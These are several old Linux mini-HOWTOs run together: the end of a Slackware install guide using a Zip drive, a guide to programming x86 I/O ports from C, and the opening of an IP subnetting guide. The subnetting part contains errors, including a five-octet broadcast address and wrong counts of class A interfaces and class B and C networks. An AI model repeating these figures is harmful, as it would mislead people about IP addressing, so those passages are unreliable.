again in the background. This will take about 1/2 as long as step 9) did. If your system was slow then it will be again. More coffee and HOWTO reading.

x3) There is also room on this disk for the custom kernels directory. It is classy to install one that meets the system's needs as closely as possible to go with the one needed to access the zip drive. Make this kernel the system default. So now we will make a directory for that and then copy the information to it:

         mkdir /(zip)/kernels
         cp -r /(cdrom)/kernels/* /(zip)/kernels/ &
This will take another 10 or 15 min. Dispose of the used coffee? Read more Linux Documentation?

x4) When disk activity is at an end unmount the disk and run fsck on it:

         umount /dev/sda4
         /sbin/e2fsck -f /dev/sda4
x5) When e2fsck is done with the disk and the command prompt returns to the screen eject the disk and label it.

2.3 Making the boot floppy.

b1) I now make a 1.44 meg boot disk. Use the /(cdrom)/bootdsks.144/iomega.s image. Install a new 1.44 meg floppy disk in the proper drive. The command to make the disk is:

         dd if=/(cdrom)/bootdsks.144/iomega.s of=/dev/fd0

b2) Check the file systems of the boot disk:

         /sbin/e2fsck -f /dev/fd0
When disk activity ends if there are no errors you may remove all your disks, write protect your boot floppy and label it including version number.


Linux Install From PPA-Zip drive mini-HOWTO: The install:

 Next Previous Contents

3. The install:

After connecting everything up to the target machine and putting the zip disk in place I boot the machine with the appropriate boot disk. Before logging in it is a good idea to use the scroll back feature built into Linux and check to see all your hardware was detected properly. To do this hold the shift key and use the page up and page down keys as appropriate. Getting a login prompt at all usually means the boot time errors were not too bad.

3.1 Round 1.

Slackware will present some instructions. Please read them Carefully. Login as root and fdisk root and swap partitions on the target drive if needed. Reboot the machine if you ran fdisk and Carefully reread the instructions on the screen if there are any, then login as root.

Even on machines with only 4 megs. of ram you will not need to create a swap partition until prompted to do so in the setup program. We already have swap running on the zip disk. Run the Slackware setup program:

          setup
CAREFULLY read and follow the instructions the menus provide. The first thing setup will want to do is create and initialize your swap partition on your hard drive this is ok despite the dire warnings and will not affect the swap file on the zip drive.

You do not want to allow /dev/sda4 to be automatically mounted and when questions come up about this in the menus. Do not add it unless this zip drive is dedicated to the target machine full time.

When you get the menu that asks where the source of the installation media is select item number 4. "Install from a premounted directory". The next screen will ask for its name, it is /slakware.

I recommend installing only the "a" disk set at this time. It will crash the install if the person selecting packages gets greedy and fills the disk before lilo is written and the kernel is installed. During basic install I install the kernel from the boot disk only. There are relatively few choices to be made from here and the Slackware documentation from the cdrom or your ftp site will do you much better than I can from here.

Leave the zip drive and disk in place after the initial install is complete. Remove the floppy when prompted to do so and reboot. If all is right in the world Bill, er, your friend/customer will have a working Linux system come up.

3.2 Round 2.

After rebooting the system login as root and mount the zip disk again:

          mount /dev/sda4 /mnt
Check available drive space:
          df
Run setup again from your new system:
          setup
Choose "s" SOURCE from the menu and press the enter key. Select item number 4. "Install from a premounted directory" and press the enter key again.

Enter the directory name. This time use:

          /mnt/slakware
Choose the packages you want or need. All are available except those which start with "x". When you're finished installing packages from this disk exit setup and run:
          umount /dev/sda4

You may now remove the disk and if X will be installed insert the 2nd zip disk and work through setup again this time only packages beginning with X will be available. If you will be installing a custom kernel from the prebuilt kernels you may also do this while the 2nd. zip disk is installed.

3.3 Library Trouble

Some times I have trouble with the links for the libraries either on the root zip disk or on the final destination machine. There are two possible fixes for this.

Fix 1) If the system boots to a command prompt and you can login as root in single user mode try the command:

          ldconfig
If things are not broken so badly that this command will not run then reboot and watch for library related errors. If there are none your in business.

Fix 2) If ldconfig can not repair things you will need to re master the root floppy disk and recopy the files from it as in instruction 8) through 12) or reinstall Linux to the destination system as appropriate.


Linux Install From PPA-Zip drive mini-HOWTO: Thank you

 Next Previous Contents

4. Thank you

This mini-HOWTO brought to you by the letters G. N. and U. and the Linux documentation project.

Special thanks to Dr. Randolph Bentson whose devotion to Linux inspired me to give something back to the people who gave us the ONE TRUE OPERATING SYSTEM.

    I hope this helps someone.

    Sincerely

    Kevin Snively
    P.O. Box 1013
    Everett Wa. 98206-1013
    USA

k.snively@seaslug.org

    root@aldrovanda


Linux I/O port programming mini-HOWTO

Author: Riku Saikkonen <Riku.Saikkonen@hut.fi>

v3.0, 2000-12-13

This HOWTO document describes programming hardware I/O ports and waiting for small periods of time in user-mode Linux programs running on the Intel x86 architecture.

1. Introduction

2. Using I/O ports in C programs

  • 2.1 The normal method
  • 2.2 An alternate method: /dev/port

3. Interrupts (IRQs) and DMA access

4. High-resolution timing

  • 4.1 Delays
  • 4.2 Measuring time

5. Other programming languages

6. Some useful ports

  • 6.1 The parallel port
  • 6.2 The game (joystick) port
  • 6.3 The serial port

7. Hints

8. Troubleshooting

9. Example code

10. Credits


Linux I/O port programming mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This HOWTO document describes programming hardware I/O ports and waiting for small periods of time in user-mode Linux programs running on the Intel x86 architecture. This document is a descendant of the very small IO-Port mini-HOWTO by the same author.

This document is Copyright 1995-2000 Riku Saikkonen. See the Linux HOWTO copyright for details.

If you have corrections or something to add, feel free to e-mail me (Riku.Saikkonen@hut.fi)...


Linux I/O port programming mini-HOWTO: Using I/O ports in C programs

 Next Previous Contents

2. Using I/O ports in C programs

2.1 The normal method

Routines for accessing I/O ports are in /usr/include/asm/io.h (or linux/include/asm-i386/io.h in the kernel source distribution). The routines there are inline macros, so it is enough to #include <asm/io.h>; you do not need any additional libraries.

Because of a limitation in gcc (present in all versions I know of, including egcs), you have to compile any source code that uses these routines with optimisation turned on (gcc -O1 or higher), or alternatively use #define extern static before you #include <asm/io.h> (remember to #undef externafterwards).

For debugging, you can use gcc -g -O (at least with modern versions of gcc), though optimisation can sometimes make the debugger behave a bit strangely. If this bothers you, put the routines that use I/O port access in a separate source file and compile only that with optimisation turned on.

Permissions

Before you access any ports, you must give your program permission to do so. This is done by calling the ioperm() function (declared in unistd.h, and defined in the kernel) somewhere near the start of your program (before any I/O port accesses). The syntax is ioperm(from, num, turn_on), where from is the first port number to give access to, and num the number of consecutive ports to give access to. For example, ioperm(0x300, 5, 1) would give access to ports 0x300 through 0x304 (a total of 5 ports). The last argument is a Boolean value specifying whether to give access to the program to the ports (true (1)) or to remove access (false (0)). You can call ioperm() multiple times to enable multiple non-consecutive ports. See the ioperm(2) manual page for details on the syntax.

The ioperm() call requires your program to have root privileges; thus you need to either run it as the root user, or make it setuid root. You can drop the root privileges after you have called ioperm() to enable the ports you want to use. You are not required to explicitly drop your port access privileges with ioperm(..., 0) at the end of your program; this is done automatically as the process exits.

A setuid() to a non-root user does not disable the port access granted by ioperm(), but a fork() does (the child process does not get access, but the parent retains it).

ioperm() can only give access to ports 0x000 through 0x3ff; for higher ports, you need to use iopl() (which gives you access to all ports at once). Use the level argument 3 (i.e., iopl(3)) to give your program access to all I/O ports (so be careful --- accessing the wrong ports can do all sorts of nasty things to your computer). Again, you need root privileges to call iopl(). See the iopl(2) manual page for details.

Accessing the ports

To input a byte (8 bits) from a port, call inb(port), it returns the byte it got. To output a byte, call outb(value, port) (please note the order of the parameters). To input a word (16 bits) from ports x and x+1 (one byte from each to form the word, using the assembler instruction inw), call inw(x). To output a word to the two ports, use outw(value, x). If you're unsure of which port instructions (byte or word) to use, you probably want inb() and outb() --- most devices are designed for bytewise port access. Note that all port access instructions take at least about a microsecond to execute.

The inb_p(), outb_p(), inw_p(), and outw_p() macros work otherwise identically to the ones above, but they do an additional short (about one microsecond) delay after the port access; you can make the delay about four microseconds with #define REALLY_SLOW_IO before you #include <asm/io.h>. These macros normally (unless you #define SLOW_IO_BY_JUMPING, which is probably less accurate) use a port output to port 0x80 for their delay, so you need to give access to port 0x80 with ioperm() first (outputs to port 0x80 should not affect any part of the system). For more versatile methods of delaying, read on.

There are manual pages for ioperm(2), iopl(2), and the above macros in reasonably recent releases of the Linux manual page collection.

2.2 An alternate method: /dev/port

Another way to access I/O ports is to open() /dev/port (a character device, major number 1, minor 4) for reading and/or writing (the stdio f*() functions have internal buffering, so avoid them). Then lseek() to the appropriate byte in the file (file position 0 = port 0x00, file position 1 = port 0x01, and so on), and read() or write() a byte or word from or to it.

Naturally, for this to work your program needs read/write access to /dev/port. This method is probably slower than the normal method above, but does not need compiler optimisation nor ioperm(). It doesn't need root access either, if you give a non-root user or group access to /dev/port --- but this is a very bad thing to do in terms of system security, since it is possible to hurt the system, perhaps even gain root access, by using /dev/port to access hard disks, network cards, etc. directly.

You cannot use select(2) or poll(2) to read /dev/port, because the hardware does not have a facility for notifying the CPU when a value in an input port changes.


Linux I/O port programming mini-HOWTO: Interrupts (IRQs) and DMA access

 Next Previous Contents

3. Interrupts (IRQs) and DMA access

You cannot use IRQs or DMA directly from a user-mode process. You need to write a kernel driver; see The Linux Kernel Hacker's Guide for details and the kernel source code for examples.

You can disable interrupts from within a user-mode program, though it can be dangerous (even kernel drivers do it for as short a time as possible). After calling iopl(3), you can disable interrupts simply by calling asm("cli");, and re-enable them with asm("sti");.


Linux I/O port programming mini-HOWTO: High-resolution timing

 Next Previous Contents

4. High-resolution timing

4.1 Delays

First of all, I should say that you cannot guarantee user-mode processes to have exact control of timing because of the multi-tasking nature of Linux. Your process might be scheduled out at any time for anything from about 10 milliseconds to a few seconds (on a system with very high load). However, for most applications using I/O ports, this does not really matter. To minimise this, you may want to nice your process to a high-priority value (see the nice(2) manual page) or use real-time scheduling (see below).

If you want more precise timing than normal user-mode processes give you, there are some provisions for user-mode `real time' support. Linux 2.x kernels have soft real time support; see the manual page for sched_setscheduler(2) for details. There is a special kernel that supports hard real time; see http://luz.cs.nmt.edu/~rtlinux/ for more information on this.

Sleeping: sleep() and usleep()

Now, let me start with the easier timing calls. For delays of multiple seconds, your best bet is probably to use sleep(). For delays of at least tens of milliseconds (about 10 ms seems to be the minimum delay), usleep() should work. These functions give the CPU to other processes (``sleep''), so CPU time isn't wasted. See the manual pages sleep(3) and usleep(3) for details.

For delays of under about 50 milliseconds (depending on the speed of your processor and machine, and the system load), giving up the CPU takes too much time, because the Linux scheduler (for the x86 architecture) usually takes at least about 10-30 milliseconds before it returns control to your process. Due to this, in small delays, usleep(3) usually delays somewhat more than the amount that you specify in the parameters, and at least about 10 ms.

nanosleep()

In the 2.0.x series of Linux kernels, there is a new system call, nanosleep() (see the nanosleep(2) manual page), that allows you to sleep or delay for short times (a few microseconds or more).

For delays <= 2 ms, if (and only if) your process is set to soft real time scheduling (using sched_setscheduler()), nanosleep() uses a busy loop; otherwise it sleeps, just like usleep().

The busy loop uses udelay() (an internal kernel function used by many kernel drivers), and the length of the loop is calculated using the BogoMips value (the speed of this kind of busy loop is one of the things that BogoMips measures accurately). See /usr/include/asm/delay.h) for details on how it works.

Delaying with port I/O

Another way of delaying small numbers of microseconds is port I/O. Inputting or outputting any byte from/to port 0x80 (see above for how to do it) should wait for almost exactly 1 microsecond independent of your processor type and speed. You can do this multiple times to wait a few microseconds. The port output should have no harmful side effects on any standard machine (and some kernel drivers use it). This is how {in|out}[bw]_p() normally do the delay (see asm/io.h).

Actually, a port I/O instruction on most ports in the 0-0x3ff range takes almost exactly 1 microsecond, so if you're, for example, using the parallel port directly, just do additional inb()s from that port to delay.

Delaying with assembler instructions

If you know the processor type and clock speed of the machine the program will be running on, you can hard-code shorter delays by running certain assembler instructions (but remember, your process might be scheduled out at any time, so the delays might well be longer every now and then). For the table below, the internal processor speed determines the number of clock cycles taken; e.g., for a 50 MHz processor (e.g. 486DX-50 or 486DX2-50), one clock cycle takes 1/50000000 seconds (=200 nanoseconds).

Instruction   i386 clock cycles   i486 clock cycles
xchg %bx,%bx          3                   3
nop                   3                   1
or %ax,%ax            2                   1
mov %ax,%ax           2                   1
add %ax,0             2                   1

Clock cycles for Pentiums should be the same as for i486, except that on Pentium Pro/II, add %ax, 0 may take only 1/2 clock cycles. It can sometimes be paired with another instruction (because of out-of-order execution, this need not even be the very next instruction in the instruction stream).

The instructions nop and xchg in the table should have no side effects. The rest may modify the flags register, but this shouldn't matter since gcc should detect it. xchg %bx, %bx is a safe choice for a delay instruction.

To use these, call asm("instruction") in your program. The syntax of the instructions is as in the table above; if you want multiple instructions in a single asm() statement, separate them with semicolons. For example, asm("nop ; nop ; nop ; nop") executes four nop instructions, delaying for four clock cycles on i486 or Pentium processors (or 12 clock cycles on an i386).

asm() is translated into inline assembler code by gcc, so there is no function call overhead.

Shorter delays than one clock cycle are impossible in the Intel x86 architecture.

rdtsc for Pentiums

For Pentiums, you can get the number of clock cycles elapsed since the last reboot with the following C code (which executes the CPU instrution named RDTSC):

   extern __inline__ unsigned long long int rdtsc()
   {
     unsigned long long int x;
     __asm__ volatile (".byte 0x0f, 0x31" : "=A" (x));
     return x;
   }

You can poll this value in a busy loop to delay for as many clock cycles as you want.

4.2 Measuring time

For times accurate to one second, it is probably easiest to use time(). For more accurate times, gettimeofday() is accurate to about a microsecond (but see above about scheduling). For Pentiums, the rdtsc code fragment above is accurate to one clock cycle.

If you want your process to get a signal after some amount of time, use setitimer() or alarm(). See the manual pages of the functions for details.


Linux I/O port programming mini-HOWTO: Other programming languages

 Next Previous Contents

5. Other programming languages

The description above concentrates on the C programming language. It should apply directly to C++ and Objective C. In assembler, you have to call ioperm() or iopl() as in C, but after that you can use the I/O port read/write instructions directly.

In other languages, unless you can insert inline assembler or C code into the program or use the system calls mentioned above, it is probably easiest to write a simple C source file with functions for the I/O port accesses or delays that you need, and compile and link it in with the rest of your program. Or use /dev/port as described above.


Linux I/O port programming mini-HOWTO: Some useful ports

 Next Previous Contents

6. Some useful ports

Here is some programming information for common ports that can be directly used for general-purpose TTL (or CMOS) logic I/O.

If you want to use these or other common ports for their intended purpose (e.g., to control a normal printer or modem), you should most likely use existing drivers (which are usually included in the kernel) instead of programming the ports directly as this HOWTO describes. This section is intended for those people who want to connect LCD displays, stepper motors, or other custom electronics to a PC's standard ports.

If you want to control a mass-market device like a scanner (that has been on the market for a while), look for an existing Linux driver for it. The Hardware-HOWTO is a good place to start.

http://www.hut.fi/Misc/Electronics/ is a good source for more information on connecting devices to computers (and on electronics in general).

6.1 The parallel port

The parallel port's base address (called ``BASE'' below) is 0x3bc for /dev/lp0, 0x378 for /dev/lp1, and 0x278 for /dev/lp2. If you only want to control something that acts like a normal printer, see the Printing-HOWTO.

In addition to the standard output-only mode described below, there is an `extended' bidirectional mode in most parallel ports. For information on this and the newer ECP/EPP modes (and the IEEE 1284 standard in general), see http://www.fapo.com/ and http://www.senet.com.au/~cpeacock/parallel.htm. Remember that since you cannot use IRQs or DMA in a user-mode program, you will probably have to write a kernel driver to use ECP/EPP; I think someone is writing such a driver, but I don't know the details.

The port BASE+0 (Data port) controls the data signals of the port (D0 to D7 for bits 0 to 7, respectively; states: 0 = low (0 V), 1 = high (5 V)). A write to this port latches the data on the pins. A read returns the data last written in standard or extended write mode, or the data in the pins from another device in extended read mode.

The port BASE+1 (Status port) is read-only, and returns the state of the following input signals:

  • Bits 0 and 1 are reserved.
  • Bit 2 IRQ status (not a pin, I don't know how this works)
  • Bit 3 ERROR (1=high)
  • Bit 4 SLCT (1=high)
  • Bit 5 PE (1=high)
  • Bit 6 ACK (1=high)
  • Bit 7 -BUSY (0=high)

The port BASE+2 (Control port) is write-only (a read returns the data last written), and controls the following status signals:

  • Bit 0 -STROBE (0=high)
  • Bit 1 -AUTO_FD_XT (0=high)
  • Bit 2 INIT (1=high)
  • Bit 3 -SLCT_IN (0=high)
  • Bit 4 enables the parallel port IRQ (which occurs on the low-to-high transition of ACK) when set to 1.
  • Bit 5 controls the extended mode direction (0 = write, 1 = read), and is completely write-only (a read returns nothing useful for this bit).
  • Bits 6 and 7 are reserved.

Pinout (a 25-pin female D-shell connector on the port) (i=input, o=output):

1io -STROBE, 2io D0, 3io D1, 4io D2, 5io D3, 6io D4, 7io D5, 8io D6,
9io D7, 10i ACK, 11i -BUSY, 12i PE, 13i SLCT, 14o -AUTO_FD_XT,
15i ERROR, 16o INIT, 17o -SLCT_IN, 18-25 Ground

The IBM specifications say that pins 1, 14, 16, and 17 (the control outputs) have open collector drivers pulled to 5 V through 4.7 kiloohm resistors (sink 20 mA, source 0.55 mA, high-level output 5.0 V minus pullup). The rest of the pins sink 24 mA, source 15 mA, and their high-level output is min. 2.4 V. The low state for both is max. 0.5 V. Non-IBM parallel ports probably deviate from this standard. For more information on this, see http://www.hut.fi/Misc/Electronics/circuits/lptpower.html.

Finally, a warning: Be careful with grounding. I've broken several parallel ports by connecting to them while the computer is turned on. It might be a good thing to use a parallel port not integrated on the motherboard for things like this. (You can usually get a second parallel port for your machine with a cheap standard `multi-I/O' card; just disable the ports that you don't need, and set the parallel port I/O address on the card to a free address. You don't need to care about the parallel port IRQ if you don't use it.)

6.2 The game (joystick) port

The game port is located at port addresses 0x200-0x207. If you want to control normal joysticks, you're probably better off using the drivers distributed with the Linux kernel.

Pinout (a 15-pin female D-shell connector on the port):

  • 1,8,9,15: +5 V (power)
  • 4,5,12: Ground
  • 2,7,10,14: Digital inputs BA1, BA2, BB1, and BB2, respectively
  • 3,6,11,13: ``Analog'' inputs AX, AY, BX, and BY, respectively

The +5 V pins seem to often be connected directly to the power lines in the motherboard, so they may be able to source quite a lot of power, depending on the motherboard, power supply and game port.

The digital inputs are used for the buttons of the two joysticks (joystick A and joystick B, with two buttons each) that you can connect to the port. They should be normal TTL-level inputs, and you can read their status directly from the status port (see below). A real joystick returns a low (0 V) status when the button is pressed and a high (the 5 V from the power pins through an 1 Kohm resistor) status otherwise.

The so-called analog inputs actually measure resistance. The game port has a quad one-shot multivibrator (a 558 chip) connected to the four inputs. In each input, there is a 2.2 Kohm resistor between the input pin and the multivibrator output, and a 0.01 uF timing capacitor between the multivibrator output and the ground. A real joystick has a potentiometer for each axis (X and Y), wired between +5 V and the appropriate input pin (AX or AY for joystick A, or BX or BY for joystick B).

The multivibrator, when activated, sets its output lines high (5 V) and waits for each timing capacitor to reach 3.3 V before lowering the respective output line. Thus the high period duration of the multivibrator is proportional to the resistance of the potentiometer in the joystick (i.e., the position of the joystick in the appropriate axis), as follows:

R = (t - 24.2) / 0.011,
where R is the resistance (ohms) of the potentiometer and t the high period duration (microseconds).

Thus, to read the analog inputs, you first activate the multivibrator (with a port write; see below), then poll the state of the four axes (with repeated port reads) until they drop from high to low state, measuring their high period duration. This polling uses quite a lot of CPU time, and on a non-realtime multitasking system like (normal user-mode) Linux, the result is not very accurate because you cannot poll the port constantly (unless you use a kernel-level driver and disable interrupts while polling, but this wastes even more CPU time). If you know that the signal is going to take a long time (tens of ms) to go down, you can call usleep() before polling to give CPU time to other processes.

The only I/O port you need to access is port 0x201 (the other ports either behave identically or do nothing). Any write to this port (it doesn't matter what you write) activates the multivibrator. A read from this port returns the state of the input signals:

  • Bit 0: AX (status (1=high) of the multivibrator output)
  • Bit 1: AY (status (1=high) of the multivibrator output)
  • Bit 2: BX (status (1=high) of the multivibrator output)
  • Bit 3: BY (status (1=high) of the multivibrator output)
  • Bit 4: BA1 (digital input, 1=high)
  • Bit 5: BA2 (digital input, 1=high)
  • Bit 6: BB1 (digital input, 1=high)
  • Bit 7: BB2 (digital input, 1=high)

6.3 The serial port

If the device you're talking to supports something resembling RS-232, you should be able to use the serial port to talk to it. The Linux serial driver should be enough for almost all applications (you shouldn't have to program the serial port directly, and you'd probably have to write a kernel driver to do it); it is quite versatile, so using non-standard bps rates and so on shouldn't be a problem.

See the termios(3) manual page, the serial driver source code (linux/drivers/char/serial.c), and http://www.easysw.com/~mike/serial/ for more information on programming serial ports on Unix systems.


Linux I/O port programming mini-HOWTO: Hints

 Next Previous Contents

7. Hints

If you want good analog I/O, you can wire up ADC and/or DAC chips to the parallel port (hint: for power, use the game port connector or a spare disk drive power connector wired to outside the computer case, unless you have a low-power device and can use the parallel port itself for power, or use an external power supply), or buy an AD/DA card (most of the older/slower ones are controlled by I/O ports). Or, if you're satisfied with 1 or 2 channels, inaccuracy, and (probably) bad zeroing, a cheap sound card supported by the Linux sound driver should do (and it's quite fast).

With accurate analog devices, improper grounding may generate errors in the analog inputs or outputs. If you experience something like this, you could try electrically isolating your device from the computer with optocouplers (on all signals between the computer and your device). Try to get power for the optocouplers from the computer (spare signals on the port may give enough power) to achieve better isolation.

If you're looking for printed circuit board design software for Linux, there is a free X11 application called Pcb that should do a nice job, at least if you aren't doing anything very complex. It is included in many Linux distributions, and available in ftp://sunsite.unc.edu/pub/Linux/apps/circuits/ (filename pcb-*).


Linux I/O port programming mini-HOWTO: Troubleshooting

 Next Previous Contents

8. Troubleshooting

Q1.

I get segmentation faults when accessing ports.

A1.

Either your program does not have root privileges, or the ioperm() call failed for some other reason. Check the return value of ioperm(). Also, check that you're actually accessing the ports that you enabled with ioperm() (see Q3). If you're using the delaying macros (inb_p(), outb_p(), and so on), remember to call ioperm() to get access to port 0x80 too.

Q2.

I can't find the in*(), out*() functions defined anywhere, and gcc complains about undefined references.

A2.

You did not compile with optimisation turned on (-O), and thus gcc could not resolve the macros in asm/io.h. Or you did not #include <asm/io.h> at all.

Q3.

out*() doesn't do anything, or does something weird.

A3.

Check the order of the parameters; it should be outb(value, port), not outportb(port, value) as is common in MS-DOS.

Q4.

I want to control a standard RS-232 device/parallel printer/joystick...

A4.

You're probably better off using existing drivers (in the Linux kernel or an X server or somewhere else) to do it. The drivers are usually quite versatile, so even slightly non-standard devices usually work with them. See the information on standard ports above for pointers to documentation for them.


Linux I/O port programming mini-HOWTO: Example code

 Next Previous Contents

9. Example code

Here's a piece of simple example code for I/O port access:

/*
 * example.c: very simple example of port I/O
 *
 * This code does nothing useful, just a port write, a pause,
 * and a port read. Compile with `gcc -O2 -o example example.c',
 * and run as root with `./example'.
 */

#include <stdio.h>
#include <unistd.h>
#include <asm/io.h>

#define BASEPORT 0x378 /* lp1 */

int main()
{
  /* Get access to the ports */
  if (ioperm(BASEPORT, 3, 1)) {perror("ioperm"); exit(1);}

  /* Set the data signals (D0-7) of the port to all low (0) */
  outb(0, BASEPORT);

  /* Sleep for a while (100 ms) */
  usleep(100000);

  /* Read from the status port (BASE+1) and display the result */
  printf("status: %d\n", inb(BASEPORT + 1));

  /* We don't need the ports anymore */
  if (ioperm(BASEPORT, 3, 0)) {perror("ioperm"); exit(1);}

  exit(0);
}

/* end of example.c */


Linux I/O port programming mini-HOWTO: Credits

 Next Previous Contents

10. Credits

Too many people have contributed for me to list, but thanks a lot, everyone. I have not replied to all the contributions that I've received; sorry for that, and thanks again for the help.


IP Sub-Networking Mini-Howto

Robert Hart, hartr@interweft.com.au

v1.1, 30 August 2001

This document describes why and how to subnetwork an IP network - that is using a single A, B or C Class network number to function correctly on several interconnected networks.

1. Copyright

2. Introduction

  • 2.1 Other sources of information

3. The Anatomy of IP numbers

  • 3.1 IP numbers belong to Interfaces - NOT hosts!
  • 3.2 IP Numbers as "Dotted Quads"
  • 3.3 Classes of IP Networks
  • 3.4 Network numbers, interface addresses and broadcast addresses
  • 3.5 The network mask

4. What are subnets?

5. Why subnetwork?

6. How to subnetwork a IP network number

  • 6.1 Setting up the physical connectivity
  • 6.2 Subnetwork sizing
  • 6.3 Calculating the subnetwork mask and network numbers

7. Routing

  • 7.1 The routing tables


IP Sub-Networking Mini-Howto: Copyright

 Next Previous Contents

1. Copyright

This document is distributed under the terms of the GNU Public License (GPL).

This document is directly supported by InterWeft IT Consultants (Melbourne, Australia).

The latest version of this document is available at the InterWeft WWW site at InterWeft IT Consultants and from The Linux Documentation Project.


IP Sub-Networking Mini-Howto: Introduction

 Next Previous Contents

2. Introduction

With available IP network numbers rapidly becoming an endangered species, efficient use of this increasingly scarce resource is important.

This document describes how to split a single IP network number up so that it can be used on several different networks.

This document concentrates on C Class IP network numbers - but the principles apply to A and B class networks as well.

2.1 Other sources of information

There are a number of other sources of information that are of relevance for both detailed and background information on IP numbers. Those recommended by the author are:-

  • The Linux Network Administrators Guide.
  • The Linux System Administration Guide.
  • TCP/IP Network Administration by Craig Hunt, published by O'Reilly and Associates.


IP Sub-Networking Mini-Howto: The Anatomy of IP numbers

 Next Previous Contents

3. The Anatomy of IP numbers

Before diving into the delight of sub-networking, we need to establish some IP number basics.

3.1 IP numbers belong to Interfaces - NOT hosts!

First of all, let's clear up a basic cause of misunderstanding - IP numbers are not assigned to hosts. IP numbers are assigned to network interfaces on hosts.

Eh - what's that?

Whilst many (if not most) computers on an IP network will possess a single network interface (and have a single IP number as a consequence), this is not the only way things happen. Computers and other devices can have several (if not many) network interfaces - and each interface has its own IP number.

So a device with 6 active interfaces (such as a router) will have 6 IP numbers - one for each interface to each network to which it is connected. The reason for this becomes clear when we look at an IP network!

Despite this, most people refer to host addresses when referring to an IP number. Just remember, this is simply shorthand for the IP number of this particular interface on this host. Many (if not the majority) of devices on the Internet have only a single interface and thus a single IP number.

3.2 IP Numbers as "Dotted Quads"

In the current (IPv4) implementation of IP numbers, IP numbers consist of 4 (8 bit) bytes - giving a total of 32 bits of available information. This results in numbers that are rather large (even when written in decimal notation). So for readability (and organisational reasons) IP numbers are usually written in the 'dotted quad' format. The IP number

        192.168.1.24

is an example of this - 4 (decimal) numbers separated by (.) dots.

As each one of the four numbers is the decimal representation of an 8 bit byte, each of the 4 numbers can range from 0 to 255 (that is take on 256 unique values - remember, zero is a value too).

In addition, part of the IP number of a host identifies the network on which the host resides, the remaining 'bits' of the IP number identify the host (oops - network interface) itself. Exactly how many bits are used by the network ID and how many are available to identify hosts (interfaces) on that network is determined by the network 'class'.

3.3 Classes of IP Networks

There are three classes of IP numbers

  • Class A IP network numbers use the leftmost 8 bits (the leftmost of the dotted quads) to identify the network, leaving 24 bits (the remaining three dotted quads) to identify host interfaces on that network.
    Class A addresses always have the leftmost bit of the leftmost byte a zero - that is a decimal value of 0 to 127 for the first dotted quad. So there are a maximum of 128 class A network numbers available, with each one containing up to 33,554,430 possible interfaces.

    However, the networks 0.0.0.0 (known as the default route) and 127.0.0.0 (the loop back network) have special meanings and are not available for use to identify networks. So there are only 126 available A class network numbers.
  • Class B IP network numbers use the leftmost 16 bits (the leftmost two dotted quads) to identify the network, leaving 16 bits (the last two dotted quads) to identify host interfaces. Class B addresses always have the leftmost 2 bits of the leftmost byte set to 1 0. This leaves 14 bits left to specify the network address giving 32767 available B class networks. B Class networks thus have a range of 128 to 191 for the first of the dotted quads, with each network containing up to 32,766 possible interfaces.
  • Class C IP network numbers use the leftmost 24 bits (the leftmost three bytes) to identify the network, leaving 8 bits (the rightmost byte) to identify host interfaces. Class C addresses always start with the leftmost 3 bits set to 1 1 0 or a range of 192 to 255 for the leftmost dotted quad. There are thus 4,194,303 available C class network numbers, each containing 254 interfaces. (C Class networks with the first byte greater than 223 are however reserved and unavailable for use).

In summary:

        Network class   Usable range of first byte values (decimal)
                A                 1 to 126
                B               128 to 191
                C               192 to 254

There are also special addresses that are reserved for 'unconnected' networks - that is networks that use IP but are not connected to the Internet, These addresses are:-

  • One A Class Network
    10.0.0.0
  • 16 B Class Networks
    172.16.0.0 - 172.31.0.0
  • 256 C Class Networks 192.168.0.0 - 192.168.255.0

You will note that this document uses these sequences throughout to avoid confusion with 'real' networks and hosts.

3.4 Network numbers, interface addresses and broadcast addresses

IP numbers can have three possible meanings:-

  • the address of an IP network (a group of IP devices sharing common access to a transmission medium - such as all being on the same Ethernet segment). A network number will always have the interface (host) bits of the address space set to 0 (unless the network is sub-networked - as we shall see);
  • the broadcast address of an IP network (the address used to 'talk', simultaneously, to all devices in an IP network). Broadcast addresses for a network always have the interface (host) bits of the the address space set to 1 (unless the network is sub-networked - again, as we shall see).
  • the address of an interface (such as an Ethernet card or PPP interface on a host, router, print server etc). These addresses can have any value in the host bits except all zero or all 1 - because with the host bits all 0, the address is a network address and with the host bits all 1 the address is the broadcast address.

In summary and to clarify things

For an A class network...
(one byte of network address space followed by three bytes of host
address space)

        10.0.0.0 is an A Class  network number  because all the host
                bits of the address space are 0
        10.0.1.0 is a host address on this network
        10.255.255.255.255 is the broadcast address of this network
                because all the host bits of the address space are 1

For a B class network...
(two bytes of network address space followed by two bytes of host
address space)

        172.17.0.0 is a B Class network number
        172.17.0.1 is a host address on this network
        172.17.255.255 is the network broadcast address

For a C Class network...
(three bytes of network address space followed by one byte of host
address space)

        192.168.3.0 is a C Class network number
        192.168.3.42 is a host address on this network
        192.168.3.255 is the network broadcast address

Almost all IP network numbers remaining available for allocation at present are C Class addresses.

3.5 The network mask

The network mask is more properly called the subnetwork mask. However, it is generally referred to as the network mask.

It is the network mask and its implications on how IP addresses are interpreted locally on an IP network segment that concerns us most here, as this determines what (if any) sub-networking occurs.

The standard (sub-) network mask is all the network bits in an address set to '1' and all the host bits set to '0'. This means that the standard network masks for the three classes of networks are:-

  • A Class network mask: 255.0.0.0
  • B Class network mask: 255.255.0.0
  • C Class network mask: 255.255.255.0

There are two important things to remember about the network mask:-

  • The network mask affects only the local interpretation of local IP numbers (where local means on this particular network segment);
  • The network mask is not an IP number - it is used to modify how local IP numbers are interpreted locally.


IP Sub-Networking Mini-Howto: What are subnets?

 Next Previous Contents

4. What are subnets?

A subnet is a way of taking a single IP network address and locally splitting it up so that this single network IP address can actually be used on several interconnected local networks. Remember, a single IP network number can only be used on a single network.

The important word here is locally: as far as the world outside the machines and physical networks covered by the sub-netted IP network are concerned, nothing whatsoever has changed - it is still just a single IP network. This is important - sub-networking is a local configuration and is invisible to the rest of the world.


IP Sub-Networking Mini-Howto: Why subnetwork?

 Next Previous Contents

5. Why subnetwork?

The reasons behind sub-networking date back to the early specification of IP - where just a few sites were running on Class A network numbers, which allow for millions of connected hosts.

It is obviously a huge traffic and administration problem if all IP computers at a large site need to be connected to the same network: trying to manage such a huge beast would be a nightmare and the network would (almost certainly) collapse under the load of its own traffic (saturate).

Enter sub-networking: the A class IP network address can be split up to allow its distribution across several (if not many) separate networks. The management of each separate network can easily be delegated as well.

